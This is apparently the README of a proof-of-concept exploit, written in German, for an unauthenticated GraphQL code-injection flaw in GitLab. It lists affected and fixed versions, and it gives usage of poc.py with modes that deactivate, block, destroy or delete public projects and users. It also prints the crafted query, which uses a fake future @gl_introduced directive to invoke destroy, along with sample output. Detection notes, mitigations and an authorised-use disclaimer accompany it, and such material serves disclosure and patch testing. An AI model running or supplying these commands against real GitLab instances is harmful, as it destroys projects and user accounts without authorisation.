
Proof-of-Concept-Exploit für nicht authentifizierte Remote-Code-Injektion in der GraphQL-API von GitLab, der mithilfe manipulierter Abfragen öffentliche Projekte und Benutzer verändert oder löscht.
Nicht authentifizierte Remote-Code-Injection in der GraphQL-Schicht von GitLab, die es einem Angreifer ermöglicht, mit einer einzigen manipulierten Abfrage öffentliche Projekte und Benutzerdaten zu ändern oder zu löschen. Keine Authentifizierung, keine Benutzerinteraktion, keine speziellen Berechtigungen.
| Schweregrad | 9.4 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (Improper Control of Generation of Code / Code Injection) |
| Betroffen | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| Behoben | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Offengelegt | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
Der Exploit ist eine Fallback-Feld-Code-Injection: Ein vom Angreifer gewählter Feldname in einer GraphQL-Abfrage wird in einen beliebigen public_send-Aufruf auf dem zugrunde liegenden ActiveRecord-Modell (Project, User, ...) umgewandelt. Da das Fallback-Feld nur erstellt wird, wenn die Abfrage zusätzlich eine „zukünftige“ @gl_introduced-Direktive enthält, ist die Direktive die Injektions-Primitive.
| Serie | Betroffen | Behoben |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
Das Skript führt eine Best-Effort-Versionserkennung durch (/api/v4/version mit einem Token, /help, /users/sign_in) und meldet, ob das Ziel in die betroffenen Bereiche fällt.
touch-Payload. Eine verwundbare Instanz gibt "touch": true zurück; eine gepatchte Instanz gibt Field 'touch' doesn't exist on type 'Project' zurück.gl_introduced-Direktive im GraphQL-Schema offen (/api/graphql-Introspection). Gepatchte Instanzen können sie weiterhin offenlegen, daher ist die Verhaltensprüfung maßgeblich.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| Option | Beschreibung |
|---|---|
--url | GitLab-Basis-URL, z. B. https://gitlab.example.com |
--project | Vollständiger Pfad eines öffentlichen Projekts, z. B. group/subgroup/project |
--user | Benutzername eines öffentlichen Benutzers, z. B. alice |
--mode | check (Standard, harmloses touch) · modify (Benutzer: deactivate, Projekt: touch) · destroy · delete · custom |
--method | Methodenname für --mode custom (muss ein gültiger GraphQL-Name sein) |
--token | Optionaler GitLab-PRIVATE-TOKEN (Versionserkennung / Authentifizierung) |
--version | Erkennung überspringen, Versionszeichenfolge erzwingen |
--insecure | TLS-Zertifikatsprüfung deaktivieren |
Destruktive Modi (modify, destroy, delete) erfordern eine interaktive yes-Bestätigung.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
Die gepatchte Antwort ist ein normaler GraphQL-Validierungsfehler:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
Das Ziel muss öffentlich sein (Projektsichtbarkeit Public oder ein Benutzer, dessen Profil über GraphQL öffentlich auflösbar ist). Wenn das Elternobjekt null ist, wird die Methode niemals aufgerufen.
/api/graphql oder deaktivieren Sie die @gl_introduced-Versionsfilterfunktion, falls sie nicht benötigt wird.e283c6ad "Prevent calling object method when resolving fallback field"Dieses PoC dient ausschließlich der defensiven Sicherheitsforschung und autorisierten Tests. Führen Sie es nicht gegen Systeme aus, die Sie nicht besitzen oder für deren Tests Sie keine ausdrückliche Genehmigung haben.